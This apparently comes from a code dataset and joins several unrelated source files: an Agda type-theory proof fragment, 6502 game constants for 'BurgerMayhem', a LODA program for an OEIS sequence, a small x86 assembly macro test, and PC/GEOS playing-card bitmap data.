(d : Γ ⊢ t :⇒*: t′ ∷ U ⁰ ^ ι ¹)
→ Γ ⊢ Id (U ⁰) ℕ t :⇒*: Id (U ⁰) ℕ t′ ∷ SProp ¹ ^ ∞
IdUℕRed*Term [[ ⊢t , ⊢t′ , d ]] = [[ Idⱼ (univ 0<1 (wfTerm ⊢t)) (ℕⱼ (wfTerm ⊢t) ) ⊢t ,
Idⱼ (univ 0<1 (wfTerm ⊢t)) (ℕⱼ (wfTerm ⊢t) ) ⊢t′ ,
IdUℕRed*Term′ ⊢t ⊢t′ d ]]
appRed* : ∀ {Γ a t u A B rA lA lB l}
(⊢a : Γ ⊢ a ∷ A ^ [ rA , ι lA ])
(D : Γ ⊢ t ⇒* u ∷ (Π A ^ rA ° lA ▹ B ° lB ° l) ^ ι l)
→ Γ ⊢ t ∘ a ^ l ⇒* u ∘ a ^ l ∷ B [ a ] ^ ι lB
appRed* ⊢a (id x) = id (x ∘ⱼ ⊢a)
appRed* ⊢a (x ⇨ D) = app-subst x ⊢a ⇨ appRed* ⊢a D
castΠRed* : ∀ {Γ F rF G A B e t}
(⊢F : Γ ⊢ F ^ [ rF , ι ⁰ ])
(⊢G : Γ ∙ F ^ [ rF , ι ⁰ ] ⊢ G ^ [ ! , ι ⁰ ])
(⊢e : Γ ⊢ e ∷ Id (U ⁰) (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) A ^ [ % , next ⁰ ])
(⊢t : Γ ⊢ t ∷ Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D : Γ ⊢ A ⇒* B ^ [ ! , ι ⁰ ])
→ Γ ⊢ cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) A e t ⇒* cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) B e t ∷ A ^ ι ⁰
castΠRed* ⊢F ⊢G ⊢e ⊢t (id (univ ⊢A)) = id (castⱼ (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ un-univ ⊢F ▹ un-univ ⊢G) ⊢A ⊢e ⊢t)
castΠRed* ⊢F ⊢G ⊢e ⊢t ((univ d) ⇨ D) = cast-Π-subst (un-univ ⊢F) (un-univ ⊢G) d ⊢e ⊢t ⇨ conv* (castΠRed* ⊢F ⊢G (conv ⊢e (univ (Id-cong (refl (univ 0<1 (wf ⊢F))) (refl (Πⱼ ≡is≤ PE.refl ▹ ≡is≤ PE.refl ▹ un-univ ⊢F ▹ un-univ ⊢G)) (subsetTerm d)))) ⊢t D) (sym (subset (univ d)))
notredUterm* : ∀ {Γ r l l' A B} → Γ ⊢ Univ r l ⇒ A ∷ B ^ l' → ⊥
notredUterm* (conv D x) = notredUterm* D
notredU* : ∀ {Γ r l l' A} → Γ ⊢ Univ r l ⇒ A ^ [ ! , l' ] → ⊥
notredU* (univ x) = notredUterm* x
redU*gen : ∀ {Γ r l r' l' l''} → Γ ⊢ Univ r l ⇒* Univ r' l' ^ [ ! , l'' ] → Univ r l PE.≡ Univ r' l'
redU*gen (id x) = PE.refl
redU*gen (univ (conv x x₁) ⇨ D) = ⊥-elim (notredUterm* x)
-- Typing of Idsym
Idsymⱼ : ∀ {Γ A l x y e}
→ Γ ⊢ A ∷ U l ^ [ ! , next l ]
→ Γ ⊢ x ∷ A ^ [ ! , ι l ]
→ Γ ⊢ y ∷ A ^ [ ! , ι l ]
→ Γ ⊢ e ∷ Id A x y ^ [ % , ι l ]
→ Γ ⊢ Idsym A x y e ∷ Id A y x ^ [ % , ι l ]
Idsymⱼ {Γ} {A} {l} {x} {y} {e} ⊢A ⊢x ⊢y ⊢e =
let
⊢Γ = wfTerm ⊢A
⊢A = univ ⊢A
⊢P : Γ ∙ A ^ [ ! , ι l ] ⊢ Id (wk1 A) (var 0) (wk1 x) ^ [ % , ι l ]
⊢P = univ (Idⱼ (Twk.wkTerm (Twk.step Twk.id) (⊢Γ ∙ ⊢A) (un-univ ⊢A))
(var (⊢Γ ∙ ⊢A) here)
(Twk.wkTerm (Twk.step Twk.id) (⊢Γ ∙ ⊢A) ⊢x))
⊢refl : Γ ⊢ Idrefl A x ∷ Id (wk1 A) (var 0) (wk1 x) [ x ] ^ [ % , ι l ]
⊢refl = PE.subst₂ (λ X Y → Γ ⊢ Idrefl A x ∷ Id X x Y ^ [ % , ι l ])
(PE.sym (wk1-singleSubst A x)) (PE.sym (wk1-singleSubst x x))
(Idreflⱼ ⊢x)
in PE.subst₂ (λ X Y → Γ ⊢ Idsym A x y e ∷ Id X y Y ^ [ % , ι l ])
(wk1-singleSubst A y) (wk1-singleSubst x y)
(transpⱼ ⊢A ⊢P ⊢x ⊢refl ⊢y ⊢e)
▹▹ⱼ_▹_▹_▹_ : ∀ {Γ F rF lF G lG r l}
→ lF ≤ l
→ lG ≤ l
→ Γ ⊢ F ∷ (Univ rF lF) ^ [ ! , next lF ]
→ Γ ⊢ G ∷ (Univ r lG) ^ [ ! , next lG ]
→ Γ ⊢ F ^ rF ° lF ▹▹ G ° lG ° l ∷ (Univ r l) ^ [ ! , next l ]
▹▹ⱼ lF≤ ▹ lG≤ ▹ F ▹ G = Πⱼ lF≤ ▹ lG≤ ▹ F ▹ un-univ (Twk.wk (Twk.step Twk.id) ((wf (univ F)) ∙ (univ F)) (univ G))
××ⱼ_▹_ : ∀ {Γ F G l}
→ Γ ⊢ F ∷ SProp l ^ [ ! , next l ]
→ Γ ⊢ G ∷ SProp l ^ [ ! , next l ]
→ Γ ⊢ F ×× G ∷ SProp l ^ [ ! , next l ]
××ⱼ F ▹ G = ∃ⱼ F ▹ un-univ (Twk.wk (Twk.step Twk.id) ((wf (univ F)) ∙ (univ F)) (univ G))
|
game_constants.asm | adkennan/BurgerMayhem | 0 | 19838 |
; Game States
GS_TITLE = $00
GS_START_GAME = $01
GS_PRE_LEVEL = $02
GS_RUNNING = $03
GS_POST_LEVEL = $04
GS_GAME_OVER = $05
FIRST_SPRITE = $20
LEVEL_COUNT = 11
; Objects
OBJ_NONE = $00
OBJ_BUN = $03
OBJ_PLATE = $04
OBJ_PLATE_FULL = $05
OBJ_TOMATO = $06
OBJ_TOM_CHOP = $07
OBJ_LETTUCE = $08
OBJ_LET_CHOP = $09
OBJ_MEAT_RAW = $0A
OBJ_MEAT_COOK = $0B
OBJ_PAN = $0C
OBJ_PAN_COOKING = $0D
OBJ_PAN_COOKED = $27
; Status bar sprites
SB_0 = 42 + FIRST_SPRITE
SB_1 = 43 + FIRST_SPRITE
SB_2 = 44 + FIRST_SPRITE
SB_3 = 45 + FIRST_SPRITE
SB_4 = 46 + FIRST_SPRITE
SB_5 = 47 + FIRST_SPRITE
SB_6 = 48 + FIRST_SPRITE
SB_7 = 49 + FIRST_SPRITE
SB_8 = 50 + FIRST_SPRITE
SB_9 = 51 + FIRST_SPRITE
SB_BURGER = 52 + FIRST_SPRITE
SB_CLOCK = 53 + FIRST_SPRITE
SB_COLON = 54 + FIRST_SPRITE
; Title screen burger parts
TSB_TOP_BUN_1 = 59 + FIRST_SPRITE
TSB_BOTTOM_BUN_1 = 60 + FIRST_SPRITE
TSB_LETTUCE_1 = 61 + FIRST_SPRITE
TSB_TOMATO_1 = 62 + FIRST_SPRITE
TSB_MEAT_1 = 63 + FIRST_SPRITE
; Burger assembly state
BURG_NONE = $00
BURG_BUN = $01
BURG_TOMATO = $02
BURG_LETTUCE = $04
BURG_MEAT = $08
BURG_ALL = BURG_BUN + BURG_TOMATO + BURG_LETTUCE + BURG_MEAT
; Tile
TILE_FLOOR_0 = $00 ; 0000 0000
TILE_FLOOR_1 = $01 ; 0000 0001
TILE_FLOOR_2 = $02 ; 0000 0010
TILE_FLOOR_3 = $03 ; 0000 0011
TILE_SLIDER_N = $04 ; 0000 0100
TILE_SLIDER_S = $05 ; 0000 0101
TILE_SLIDER_E = $06 ; 0000 0110
TILE_SLIDER_W = $07 ; 0000 0111
TILE_VOID = $08 ; 0000 1000
TILE_PLATE = $09 ; 0000 1001
TILE_BUN = $0A ; 0000 1010
TILE_MEAT = $0B ; 0000 1011
TILE_TOMATO = $0C ; 0000 1100
TILE_LETTUCE = $0D ; 0000 1101
TILE_SERVE = $0E ; 0000 1110
TILE_BIN = $0F ; 0000 1111
TILE_BLOCKER_0 = $10 ; 0001 0000
TILE_BLOCKER_1 = $11 ; 0001 0001
TILE_BLOCKER_2 = $12 ; 0001 0010
TILE_BLOCKER_3 = $13 ; 0001 0011
TILE_WALL_0 = $20 ; 0010 0000
TILE_WALL_1 = $21 ; 0010 0001
TILE_WALL_2 = $22 ; 0010 0010
TILE_WALL_3 = $23 ; 0010 0011
TILE_BENCH = $40 ; 0100 0000
TILE_STOVE = $80 ; 1000 0000
TILE_CHOP = $C0 ; 1100 0000
TILE_EOL = $FF
TILE_SLIDE_MASK = $07
TILE_BLOCKER_MASK = $F0
FIRST_WALL_TILE = TILE_VOID
; Activities
ACT_MOVE = $00
ACT_CHOP = $01
ACT_COOK = $02
; Messages
MSG_NONE = $00
MSG_OK = $21
MSG_ERR = $22
MSG_BUN = $23
MSG_TOMATO = $24
MSG_LETTUCE = $25
MSG_MEAT_COOKED = $26
MSG_MEAT_RAW = $28
MSG_GO = $37
MSG_1_OF_4 = $38
MSG_2_OF_4 = $39
MSG_3_OF_4 = $3A
; Title screen constants
LOGO_BURGER_SPR = FIRST_SPRITE + $40
LOGO_MAYHEM_SPR = FIRST_SPRITE + $44
LINE_1_START = 0
LINE_1_STOP = 52
LINE_2_START = 252
LINE_2_STOP = LINE_1_STOP + 48
BB_LEFT_X = 156
FG_FADE_LENGTH = 5
FG_FADE_FREQ = 5
; Directions
DIR_NONE = $00
DIR_S = $04
DIR_N = $08
DIR_E = $10
DIR_W = $20
DIR_SHRUG = $29
; Level Offsets
LVL_MP_LO = $00 ; Map Pointer Lo
LVL_MP_HI = $01 ; Map Pointer Hi
LVL_TL_M = $02 ; Time Limit Seconds
LVL_TL_S_HI = $03 ; Time Limit Minutes
LVL_TL_S_LO = $04
LVL_TARGET = $05 ; Target
LVL_P1_X = $06 ; Player 1 Start X
LVL_P1_Y = $07 ; Player 1 Start Y
LVL_P2_X = $08 ; Player 2 Start X
LVL_P2_Y = $09 ; Player 2 Start Y
LVL_THEME_LO = $0A ; Theme pointer
LVL_THEME_HI = $0B
LVL_DESC_LO = $0C ; Description pointer
LVL_DESC_HI = $0D
LVL_DATA_SIZE = $0E
LVL_TILE_MAP = $C400 ; Expanded map of tiles.
THEME_BG_COL_2 = $00
THEME_BG_COL_3 = $01
THEME_SHADOW_COL = $02
THEME_SRC_CHARS = $03
THEME_W0_CHARS = $1B
THEME_W0_FG = $24
THEME_W0_BG = $2D
THEME_W1_CHARS = $36
THEME_W1_FG = $3F
THEME_W1_BG = $48
THEME_W2_CHARS = $51
THEME_W2_FG = $5A
THEME_W2_BG = $63
THEME_W3_CHARS = $6C
THEME_W3_FG = $75
THEME_W3_BG = $7E
THEME_F0_CHARS = $87
THEME_F0_FG = $90
THEME_F0_BG = $99
THEME_F1_CHARS = $A2
THEME_F1_FG = $AB
THEME_F1_BG = $B4
THEME_F2_CHARS = $BD
THEME_F2_FG = $C6
THEME_F2_BG = $CF
THEME_F3_CHARS = $D8
THEME_F3_FG = $E1
THEME_F3_BG = $EA
THEME_SRC_CHAR_COUNT = 24
FRAME_LINE_SIZE = $10 ; Number of bytes for per-line sprite data
FL_OBJY = $0001 ; Y position of objects
FL_SP4X = $0002 ; Sprite X and Y positions
FL_SP5X = $0003
FL_SP6X = $0004
FL_SP7X = $0005
FL_MSIGX = $0006 ; Bit 9 of sprite X positions
FL_SPENA = $0007 ; Sprite Enable
FL_SP4COL = $0008 ; Sprite colours
FL_SP5COL = $0009
FL_SP6COL = $000A
FL_SP7COL = $000B
FL_SPRPTR4 = $000C ; Sprite 4 pointer
FL_SPRPTR5 = $000D ; Sprite 5 pointer
FL_SPRPTR6 = $000E ; Sprite 6 pointer
FL_SPRPTR7 = $000F ; Sprite 7 pointer
FL_END = $0010
SL_WAIT_Y = $0000
SL_OBJY = $0001 ; Y position of objects
SL_SP0X = $0002 ; Sprite X and Y positions
SL_SP1X = $0003
SL_SP2X = $0004
SL_SP3X = $0005
SL_SP4X = $0006
SL_SP5X = $0007
SL_SP6X = $0008
SL_SP7X = $0009
SL_MSIGX = $000A ; Bit 9 of sprite X positions
SL_SP0COL = $000B ; Sprite colours
SL_SP1COL = $000C
SL_SP2COL = $000D
SL_SP3COL = $000E
SL_SP4COL = $000F
SL_SP5COL = $0010
SL_SP6COL = $0011
SL_SP7COL = $0012
SL_SPRPTR0 = $0013 ; Sprite frame pointers
SL_SPRPTR1 = $0014
SL_SPRPTR2 = $0015
SL_SPRPTR3 = $0016
SL_SPRPTR4 = $0017
SL_SPRPTR5 = $0018
SL_SPRPTR6 = $0019
SL_SPRPTR7 = $001A
; Offsets into Player Data in zer o page
PL_DIR = $00 ; Direction
PL_X_LO = $01 ; X pixel
PL_X_HI = $02
PL_Y = $03 ; Y pixel
PL_FRAME = $04 ; Frame
PL_OBJ = $05 ; Object carried
PL_OBJ_VAL = $06 ; Value of carried object
PL_MP_LO = $07 ; Screen char position of East foot
PL_MP_HI = $08 ;
PL_FRAME_COUNT = $09 ; Counter until next frame change
PL_BUTTON = $0A ; State of button
PL_ACTIVITY = $0B ; Current Activity - none, chop or cook
PL_ACT_DIR = $0C ; Direction of Activity stick waggle
PL_ACT_INDEX = $0D ; Index of the object we're acting on.
PL_MSG = $0E ; Message sprite to display
PL_MSG_COUNT = $0F ; Time remaining to show message or $FF to keep it
PL_UPDATE_OBJ = $10 ; Index of object to update
P_DATA_SIZE = $11 ; Size of player data
PLAYER_FRAME_MASK = $3
MAP_WIDTH = 14
ANIM_FREQ = $07 ; Frequency at which to change chef animation frames
PLAYER_LINE = 54 ; Line at which to initialize player sprites
CHAR_ARROW_N = CHAR_BASE + (8 * CH_SLIDER_N)
CHAR_ARROW_S = CHAR_ARROW_N + $8
CHAR_ARROW_E = CHAR_ARROW_S + $8
CHAR_ARROW_W = CHAR_ARROW_E + $8
CHAR_BLOCKER_0 = CHAR_BASE + (8 * CH_BLOCKER_1)
CHAR_BLOCKER_1 = CHAR_BLOCKER_0 + $8
CHAR_BLOCKER_2 = CHAR_BLOCKER_1 + $8
CHAR_BLOCKER_3 = CHAR_BLOCKER_2 + $8
CHAR_WALL = CHAR_BASE + (8 * 40)
BLOCKER_SEQ_SIZE = 6
LOOK_OFFSET_SIZE = 13
CHOICE_CONTINUE = 0
CHOICE_QUIT = 1
; Graphics Characters
CH_BLANK = $00
CH_FILLED = $01
CH_BLOCKER_1 = $02
CH_BLOCKER_2 = $03
CH_BLOCKER_3 = $04
CH_BLOCKER_4 = $05
CH_SLIDER_N = $06
CH_SLIDER_S = $07
CH_SLIDER_E = $08
CH_SLIDER_W = $09
CH_BOX_TOP_LEFT = $0A
CH_BOX_TOP_RIGHT = $0B
CH_BOX_BOTTOM_RIGHT = $0C
CH_BOX_BOTTOM_LEFT = $0D
CH_BOX_TOP = $0E
CH_BOX_RIGHT = $0F
CH_BOX_BOTTOM = $10
CH_BOX_LEFT = $11
CH_SHAD_N = $12
CH_SHAD_E = $13
CH_SHAD_W = $14
CH_SHAD_S = CH_BOX_BOTTOM
CH_SHAD_N_NW_W = $15
CH_SHAD_N_NE_E = $16
CH_SHAD_S_SW_W = $17
CH_SHAD_S_SE_E = $18
CH_SHAD_NW = $19
CH_SHAD_NE = $1A
CH_SHAD_SE = $1B
CH_SHAD_SW = $1C
CH_SHAD_N_NW = $1D
CH_SHAD_N_NE = $1E
CH_KNIFE = $1F
CH_STOVE = $20
CH_SERVE = $21
CH_TOMATO = $22
CH_LETTUCE = $23
CH_PATTY = $24
CH_BUN = $25
CH_PLATE = $26
CH_BIN = $27
CH_THEME_00 = $28
CH_THEME_01 = $29
CH_THEME_02 = $2A
CH_THEME_03 = $2B
CH_THEME_04 = $2C
CH_THEME_05 = $2D
CH_THEME_06 = $2E
CH_THEME_07 = $2F
CH_THEME_08 = $30
CH_THEME_09 = $31
CH_THEME_10 = $32
CH_THEME_11 = $33
CH_THEME_12 = $34
CH_THEME_13 = $35
CH_THEME_14 = $36
CH_THEME_15 = $37
CH_THEME_16 = $38
CH_THEME_17 = $39
CH_THEME_18 = $3A
CH_THEME_19 = $3B
CH_THEME_20 = $3C
CH_THEME_21 = $3D
CH_THEME_22 = $3E
CH_THEME_23 = $3F
SRC_BUSH_00 = $40
SRC_BUSH_01 = $41
SRC_BUSH_02 = $42
SRC_BUSH_03 = $43
SRC_BUSH_04 = $44
SRC_BUSH_05 = $45
SRC_BUSH_06 = $46
SRC_BUSH_07 = $47
SRC_BUSH_08 = $48
SRC_ROCK_00 = $49
SRC_ROCK_01 = $4A
SRC_ROCK_02 = $4B
SRC_ROCK_03 = $4C
SRC_ROCK_04 = $4D
SRC_ROCK_05 = $4E
SRC_ROCK_06 = $4F
SRC_ROCK_07 = $50
SRC_ROCK_08 = $51
SRC_HOLE_00 = $52
SRC_HOLE_01 = $53
SRC_HOLE_02 = $54
SRC_HOLE_03 = $55
SRC_HOLE_04 = $56
SRC_HOLE_05 = $57
SRC_HOLE_06 = $58
SRC_HOLE_07 = $59
SRC_HOLE_08 = $5A
SRC_GRASS_00 = $5B
SRC_GRASS_01 = $5C
SRC_GRASS_02 = $5D
SRC_WALL_00 = $5E
SRC_WALL_01 = $5F
SRC_WALL_02 = $60
SRC_WALL_03 = $61
SRC_WALL_04 = $62
SRC_WALL_05 = $63
SRC_WALL_06 = $64
SRC_WALL_07 = $65
SRC_WALL_08 = $66
SRC_WINDOW_00 = $67
SRC_WINDOW_01 = $68
SRC_WINDOW_02 = $69
SRC_WINDOW_03 = $6A
SRC_WINDOW_04 = $6B
SRC_WINDOW_05 = $6C
SRC_WINDOW_06 = $6D
SRC_WINDOW_07 = $6E
SRC_WINDOW_08 = $6F
SRC_SAND_00 = $70
SRC_SAND_01 = $71
SRC_SAND_02 = $72
SRC_SAND_03 = $73
SRC_SAND_04 = $74
SRC_SAND_05 = $75
SRC_SAND_06 = $76
SRC_SAND_07 = $77
SRC_SAND_08 = $78
SRC_TREE_00 = $79
SRC_TREE_01 = $7A
SRC_TREE_02 = $7B
SRC_TREE_03 = $7C
SRC_TREE_04 = $7D
SRC_TREE_05 = $7E
SRC_TREE_06 = $7F
SRC_TREE_07 = $80
SRC_TREE_08 = $81
SRC_WOOD_00 = $82
SRC_WOOD_01 = $83
SRC_WOOD_02 = $84
SRC_WOOD_03 = $85
SRC_WOOD_04 = $86
SRC_WOOD_05 = $87
SRC_WOOD_06 = $88
SRC_WOOD_07 = $89
SRC_WOOD_08 = $8A
SRC_CHECK_00 = $8B
SRC_CHECK_01 = $8C
SRC_CHECK_02 = $8D
SRC_WALL_09 = $8E
SRC_WALL_10 = $8F
SRC_WALL_11 = $90
SRC_WALL_12 = $91
SRC_WALL_13 = $92
SRC_WALL_14 = $93
SRC_WALL_15 = $94
SRC_WALL_16 = $95
SRC_WALL_17 = $96
SRC_COBBLE_00 = $97
SRC_COBBLE_01 = $98
SRC_COBBLE_02 = $99
SRC_COBBLE_03 = $9A
SRC_COBBLE_04 = $9B
SRC_COBBLE_05 = $9C
SRC_PUDDLE_LG_00 = $9D
SRC_PUDDLE_LG_01 = $9E
SRC_PUDDLE_SM_00 = $9F
SRC_PUDDLE_LG_02 = $A0
SRC_PUDDLE_LG_03 = $A1
SRC_PUDDLE_SM_01 = $A2
SRC_CACTUS_00 = $A3
SRC_CACTUS_01 = $A4
SRC_CACTUS_02 = $A5
SRC_CACTUS_03 = $A6
; UNUSED = $A7
; UNUSED = $A8
SRC_SPACE_WINDOW_00 = $A9
SRC_SPACE_WINDOW_01 = $AA
SRC_SPACE_WINDOW_02 = $AB
SRC_SPACE_WINDOW_03 = $AC
SRC_SPACE_WINDOW_04 = $AD
SRC_SPACE_WINDOW_05 = $AE
SRC_SPACE_WINDOW_06 = $AF
SRC_SPACE_WINDOW_07 = $B0
SRC_SPACE_WINDOW_08 = $B1
SRC_SPACE_WALL_00 = $B2
SRC_SPACE_WALL_01 = $B3
SRC_SPACE_WALL_02 = $B4
SRC_SPACE_WALL_03 = $B5
SRC_LINE_00 = $B6
SRC_LINE_01 = $B7
SRC_LINE_02 = $B8
SRC_LINE_03 = $B9
SRC_LINE_04 = $BA
SRC_LINE_05 = $BB
SRC_LINE_06 = $BC
SRC_LINE_07 = $BD
SRC_LINE_08 = $BE
SRC_LINE_09 = $BF
SRC_LINE_10 = $C0
|
oeis/003/A003954.asm | neoneye/loda-programs | 11 | 246802 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A003954: Expansion of g.f.: (1+x)/(1-11*x).
; 1,12,132,1452,15972,175692,1932612,21258732,233846052,2572306572,28295372292,311249095212,3423740047332,37661140520652,414272545727172,4556998002998892,50126978032987812,551396758362865932,6065364341991525252,66719007761906777772,733909085380974555492,8072999939190720110412,88802999331097921214532,976832992642077133359852,10745162919062848466958372,118196792109691333136542092,1300164713206604664501963012,14301811845272651309521593132,157319930297999164404737524452
mov $1,11
pow $1,$0
sub $1,1
mul $1,12
add $1,10
div $1,11
add $1,1
mov $0,$1
|
src/test.asm | phiwen96/asm_mac | 0 | 165972 | %include "macros.asm"
; %include "platform.asm"
global _main
section .data
message: define_byte "Ahe{jda", 10
length: equ $-message
section .bss
bufflen equ 2000
buff: resb bufflen
section .text
%define i preserved (0)
%define n preserved (1)
; _loop_end:
; pop n
; pop i
_main:
mov arg (0), 2
; call _lol_begin
; cin (buff, bufflen)
; cout (buff, bufflen)
; for (1, _funct)
_end:
_out "A"
out ('\r\n')
out ("B\n")
out ("C")
; out_prep_data_2 (kuk2, "This is much more interesting than Hello, World!")
; cout (kuk, kuk_len)
; out ("This is much more interesting than Hello, World!")
; cout (message, length)
; out ("hejsan")
exit
; _lol:
; cout (buff, strlen)
_lol_begin:
push i
push n
mov i, 0 ; loop-index i
mov n, arg (0) ; max n
_lool:
mov rax, preserved (0)
inc i
cmp i, n
jne _lool
_lol_end:
pop n
pop i
ret |
host/stm32gd-gpio-pin.ads | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 4399 | with STM32_SVD; use STM32_SVD;
generic
Pin : in GPIO_Pin;
Port : in out Natural;
Mode : in Pin_IO_Modes := Mode_In;
Pull_Resistor : in Internal_Pin_Resistors := Floating;
Alternate_Function : in GPIO_Alternate_Function := 0;
package STM32GD.GPIO.Pin is
pragma Preelaborate;
procedure Init;
procedure Set_Mode (Mode : Pin_IO_Modes);
procedure Set_Type (Pin_Type : Pin_Output_Types);
function Get_Pull_Resistor return Internal_Pin_Resistors;
procedure Set_Pull_Resistor (Pull : Internal_Pin_Resistors);
procedure Configure_Alternate_Function (AF : GPIO_Alternate_Function);
function Is_Set return Boolean;
procedure Set;
procedure Clear;
procedure Toggle;
end STM32GD.GPIO.Pin;
|
Appl/Art/Decks/GeoDeck/LCClubK.asm | steakknife/pcgeos | 504 | 244167 | <filename>Appl/Art/Decks/GeoDeck/LCClubK.asm<gh_stars>100-1000
LCClubK label byte
word C_BLACK
Bitmap <71,100,BMC_PACKBITS,BMF_4BIT or mask BMT_MASK>
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
db 0x01, 0xdd, 0xd0, 0xe1, 0x00, 0x01, 0xdd, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x01, 0xd0, 0x0f, 0xe1, 0xff, 0x01, 0x00, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x00, 0xd0, 0xe0, 0xff, 0x01, 0xf0, 0xd0
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xdf, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0x00, 0x00, 0xff, 0x00, 0x00, 0xe4,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0x00, 0x00, 0xff, 0x00, 0x00, 0xe4,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xf0, 0x0f, 0xff, 0x00, 0x0f, 0xe4,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x04, 0x0f, 0xf0, 0x0f, 0xf0, 0x00, 0xe3, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x04, 0x0f, 0xf0, 0x0f, 0x00, 0x0f, 0xf7, 0xff,
0x0a, 0x0f, 0xff, 0xf0, 0xff, 0xff, 0x0f, 0xff,
0xf0, 0xff, 0xff, 0x0f, 0xf8, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x03, 0x0f, 0xf0, 0x00, 0x00, 0xf7, 0xff, 0x0c,
0xfc, 0x0f, 0xf7, 0x0c, 0x0f, 0x70, 0xc0, 0xf7,
0x0c, 0x0f, 0x7f, 0x0c, 0xf7, 0xf9, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x03, 0x0f, 0xf0, 0x00, 0x0f, 0xf6, 0xff, 0x0c,
0x00, 0x77, 0xf0, 0xf7, 0x77, 0x0f, 0x77, 0x70,
0xf7, 0x70, 0x0f, 0xf7, 0x7f, 0xfa, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x02, 0x0f, 0xf0, 0x00, 0xf5, 0xff, 0x0b, 0x0f,
0x07, 0x0e, 0x0f, 0x70, 0xe0, 0xf7, 0x0e, 0x0f,
0x0e, 0x0f, 0x77, 0xf9, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xf0, 0x00, 0x0f, 0xff, 0xff, 0xf8,
0x00, 0x09, 0x0e, 0xe0, 0xee, 0xe0, 0x0e, 0xee,
0x00, 0xee, 0xe0, 0xee, 0xfd, 0x00, 0x00, 0x0f,
0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xf0, 0x00, 0x00, 0xff, 0xff, 0x0f,
0xf9, 0xff, 0x09, 0xf0, 0xe0, 0xee, 0xee, 0x0e,
0xee, 0x0e, 0xee, 0xe0, 0xe0, 0xfd, 0xff, 0x00,
0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xf0, 0x0f, 0x00, 0x0f, 0xff, 0x0f,
0xfe, 0xff, 0x01, 0x00, 0x0f, 0xfe, 0xff, 0x09,
0xf0, 0xce, 0xee, 0xce, 0xee, 0xce, 0xee, 0xce,
0xee, 0xc0, 0xfd, 0xff, 0x00, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0b, 0x0f, 0xf0, 0x0f, 0xf0, 0x00, 0xff, 0x0f,
0xff, 0xff, 0xf0, 0xf0, 0x00, 0xfd, 0xff, 0x00,
0x0c, 0xfa, 0xec, 0x00, 0x0f, 0xfd, 0xff, 0x01,
0x0f, 0x7f, 0xfd, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0c, 0x0f, 0xf0, 0x0f, 0xff, 0x00, 0x0f, 0x0f,
0xff, 0xff, 0x0f, 0x00, 0x00, 0x0f, 0xfe, 0xff,
0x00, 0x0c, 0xfa, 0xcc, 0x00, 0x0f, 0xfe, 0xff,
0x02, 0xf0, 0xe0, 0x7f, 0xfd, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x0f, 0x00, 0x00, 0xff, 0x00, 0x00, 0x0f,
0xff, 0xff, 0xfe, 0x00, 0x00, 0x0f, 0xfe, 0xff,
0xf9, 0x00, 0xfd, 0xff, 0x02, 0xf0, 0xe0, 0x77,
0xfd, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x0f, 0x00, 0x00, 0xff, 0x00, 0x00, 0x0f,
0xff, 0xff, 0xfe, 0x00, 0x00, 0x0f, 0xfe, 0xff,
0x03, 0x0f, 0x0f, 0xff, 0xff, 0xfe, 0x0f, 0x00,
0x00, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x07, 0xfd,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x05, 0x0f, 0xff, 0xff,
0xf0, 0x00, 0x00, 0xfe, 0xff, 0x01, 0xf0, 0xf0,
0xfe, 0xff, 0xfd, 0xf0, 0xfd, 0xff, 0x03, 0x0e,
0xe7, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x0a, 0x0f, 0xff, 0x00,
0x0f, 0x00, 0x0f, 0x00, 0x0f, 0xff, 0xf0, 0xf0,
0xfd, 0xff, 0xfd, 0x0f, 0xfe, 0xff, 0x03, 0x0e,
0xee, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x09, 0x0f, 0xff, 0xf0, 0x00, 0xff, 0xff, 0x0f,
0xf0, 0xf0, 0x00, 0xfe, 0xf0, 0x01, 0x00, 0xff,
0xfe, 0xf0, 0x02, 0x00, 0xf0, 0x00, 0xfd, 0x0f,
0xfe, 0xff, 0x03, 0x0e, 0xe7, 0x07, 0x7f, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xff, 0x0f, 0x00, 0x0f, 0xff, 0x0f,
